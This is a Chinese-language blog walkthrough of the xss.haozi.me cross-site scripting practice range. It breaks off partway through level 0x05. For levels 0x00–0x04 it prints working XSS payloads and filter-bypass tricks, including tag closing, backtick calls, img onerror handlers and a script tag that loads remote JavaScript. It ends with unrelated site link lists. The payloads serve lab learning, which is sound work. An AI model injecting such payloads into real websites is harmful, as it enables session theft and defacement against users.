xss靶场、xss.haozi.me靶场详细通关教程
文章目录
- 前言
- 预备知识
- HTML编码
- img的可拓展
- 各种payload形式
- 0x00
- 0x01
- 0x02
- 0x03(使用了正则过滤圆括号)
- 其它解法
- 0x04(使用正则过滤圆括号和反引号)
- 0x05(绕过html注释符)
- 0x06(使用换行绕过)
- 0x07(img不加闭合符)
- 0x08(使用换行绕过)
- 0x09(输入最前面必须带上一段url)
- 0x0A(URL重定向)
- 0x0B(大写绕过)
- 0x0C(大写+script绕过)
- 0x0D
- 0x0E(使用 ſ 绕过)
- 0x0F
- 0x10
- 0x11
- 0x12
- 0x12
前言
该靶场来自xss经典靶场,其中一些解题方法也是根据官方的题解。该文章主要用于记录自己的学习历程。xss.haozi.me是一个学习xss漏洞非常不错的靶场,里面集合了各种绕过方式,对于小白来说非常具有学习意义。
预备知识
HTML编码
HTML编码网站:
Html实体编码解码 (config.net.cn)
img的可拓展
img标签的可扩展
各种payload形式
各种payload:
0x00
第一关简单使用payload**<script>alert(1)</script>**即可弹出。
0x01
使用payload**</textarea><script>alert(1)</script><textarea>**即可绕过。
源代码使用了<textarea> </textarea>来输出,我们使用闭合标签来闭合它俩,即可成功执行。
源代码加上我们的paylaod即为
<textarea></textarea><script>alert(1)</script><textarea></textarea>
0x02
这里使用了<input>标签,思路是通过闭合payload。
asdf'">'<script>alert(1)</script>
加上闭合payload后,总代码为
function render (input) {return '<input type="name" value="'asdf'">'<script>alert(1)</script>'">'
}
0x03(使用了正则过滤圆括号)
这里服务器用了一些正则过滤
function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}
这段函数的作用是从输入的字符串中移除所有括号(包括圆括号和方括号)。具体来说,它会执行以下操作:
定义一个正则表达式 stripBracketsRe,用于匹配字符串中的所有圆括号和方括号。
调用 replace() 方法将输入字符串中匹配到的所有括号用空字符串替换掉,得到一个不包含任何括号的新字符串。
返回新字符串。
需要注意的是,该函数仅仅只是移除括号,并不会对字符串做其他处理,例如去除空格、转换大小写等等。
这里可以采用反引号来绕过
<script>alert`1`</script>
其它解法
虽然过滤了圆括号,我们只需要使用不带圆括号的payload即可。
第一种
其中onerror编码了alert(1)
<img src="1" onerror="alert(1)">
第二种
使用了script中的src来导入js
<script src="https://xss.haozi.me/j.js"></script>
0x04(使用正则过滤圆括号和反引号)
源代码是这样的,它过滤了圆括号和反引号。
所以只能使用HTML实体编码来绕过。
function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}
直接将括号转成html实体编码将没有用
比如这段代码
**<script>alert (1)</script>**如果直接输上去肯定不行,因为
HTML实体编码是为了在HTML文本中使用特殊字符而设计的一种编码方式,比如“<”、“>”、“&”等字符。这些字符在HTML中具有特殊含义,如果直接在HTML文本中使用它们,会导致浏览器将其解释为HTML标签或其他特殊字符,从而破坏文档结构。因此,在HTML中使用这些字符时,需要将其替换为对应的实体编码形式,例如“<”用“<”代替,“>”用“>”代替,“&”用“&”代替。这样,浏览器就能正确地解析这些字符而不会破坏文档结构。在这个例子中,代码<script>alert(1)</script>中的括号“(`)”被替换为了实体编码“(”和“)”,这是为了避免浏览器将其解释为JavaScript语句的一部分。当浏览器遇到这段代码时,它会将其解析为一个普通的文本字符串而不会执行其中的JavaScript语句。
所以只能使用一个标签**<img src=1 οnerrοr="alert(1)“**就可以
0x05(绕过html注释符)
服务器源代码是这样的
function render (input) {input = input.replace(/-->/g, '
xss靶场、xss.haozi.me靶场详细通关教程相关推荐
- XSS靶场level15详细通关教程
我的一个朋友这些天在家找工作,利用间隙时间重温一下XSS靶场.可是做到第15关的时候,怎么也无法通关.我这个朋友在15关卡住了2天.最后终于找到了问题的根源.[这个朋友使用的是在线靶场,如果你是自己搭 ...
- DVWA靶场Brute Force 暴力破解审计通关教程
如果你想搭建靶场可以购买蓝易云服务器搭建
- iOS上架详细通关教程(提交到AppStore)
iOS 应用上架流程(提交到AppStore) 1.账号准备 1.1 登录苹果开发者中心 https://developer.apple.com/ 编辑切换为居中 添加图片注释,不超过 140 字 ...
- iOS上架详细通关教程
记录此文是源于以下需求 1.已有app store开发者账号 (公司账号$99),需上架至app store 2.有商城实体商品支付功能(会员等虚拟支付另说) 3.有硬件交互功能 注:建议预留一周上架 ...
- vulntarget-b靶场详细通关记录
vulntarget-b靶场详细通关记录 前言 这个靶场打了好几天才打下来,在上线msf和免杀过火绒还有psexec横向移动中卡了很久.而且这个靶场的通关资料较少,吐槽一下网上的相关文章很多关键步骤都 ...
- xss.haozi.me通关教程
10.xss.haozi.me通关教程 0x00 首先整体浏览网站 分别是xss注入点,注入后的HTML代码以及网页源码 构造常规payload: <script>alert(1)< ...
- DVWA通关--存储型XSS(XSS (Stored))
目录 LOW 通关步骤 源码分析 MEDIUM 通关步骤 源码分析 HIGH 通关步骤 源码分析 IMPOSSIBLE 源码分析 存储型XSS也叫持久型XSS,从名字就知道特征是攻击代码会被存储在数据 ...
- DVWA靶场通关教程
目录 Burt Force(爆破) (low) (medium) (high) (impossible) Command Injection(命令执行) (low) (medium) (high) ...
- Upload-Labs靶场 1-21全通关教程
Upload-Labs通关 靶场介绍 安装 文件上传漏洞介绍 BurpSuite的简单使用 安装BurpSuite 配合Firefox使用 万能WebShell 正文开始 Pass-01 Pass-0 ...
最新文章
- java7 javascript引擎_Java7中脚本引擎的一般用法,共三种方法获得JavaScript引擎:名称、文件扩展名、MIME类型 | 学步园...
- Ecplise中的Maven项目提示找不到jar包
- 部署App-V Client,应用程序虚拟化体验系列之三
- python自动化办公知识点整理汇总_Python自动化办公知识点整理汇总
- 【进阶修炼】——改善C#程序质量(9)
- mysql 矩表_mysql表某相同值最近一次出现的间距
- 【PLC】PLCPAC入门教程
- python3爬虫实战-requests+beautifulsoup-爬取下载顶点网站的小说
- 阿里立秋:淘宝如何做智能化UI测试?
- 【前端】使用html+css+js实现的乞丐版跳一跳
- Android 虚拟分区详解(三) 分区状态变化
- git log 详解
- Oracle_1th_查询语句
- Java实验:重写equals方法
- 使用XML的方式导出EXCEL
- 银河麒麟系统安装失败
- librosa与python_speech_features
- 如何在路由器上做端口映射
- win10计算机文件夹选项在哪里,win10 文件夹选项_win10文件夹选项在哪里
- Java注解编译期处理AbstractProcessor详解
热门文章